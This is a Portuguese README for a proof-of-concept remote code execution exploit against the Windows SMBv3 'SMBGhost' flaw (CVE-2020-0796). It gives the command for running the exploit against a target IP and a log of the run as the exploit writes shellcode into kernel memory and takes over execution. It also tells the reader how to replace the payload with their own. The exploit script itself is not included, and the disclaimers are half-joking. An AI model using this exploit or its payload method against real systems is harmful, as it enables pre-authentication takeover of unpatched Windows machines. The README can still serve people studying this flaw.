
Exploit de prova de conceito para execução remota de código para CVE-2020-0796 (SMBGhost) direcionado à vulnerabilidade de compressão do Windows SMBv3 com injeção de shellcode no kernel.
RCE PoC para CVE-2020-0796 "SMBGhost"
Apenas para fins de demonstração! Use isto apenas como referência. Sério. Isto não foi testado fora do meu ambiente de laboratório. Foi escrito rapidamente e precisa de algum trabalho para ser mais confiável. Às vezes você terá uma BSOD. Usar isto para qualquer propósito que não seja autoeducação é uma ideia extremamente ruim. Seu computador pegará fogo. Filhotes morrerão.
Agora que isso está resolvido....
Exemplo de uso:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Substitua o payload em USER_PAYLOAD no exploit.py. Máximo de 600 bytes. Se quiser mais, modifique o código do kernel shell você mesmo.
Código lznt1 de aqui. Modificado para adicionar uma função de "compressão ruim" para corromper o cabeçalho do buffer SRVNET sem causar um travamento.
Veja este excelente artigo da Ricera Security para mais detalhes sobre os métodos que usei: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html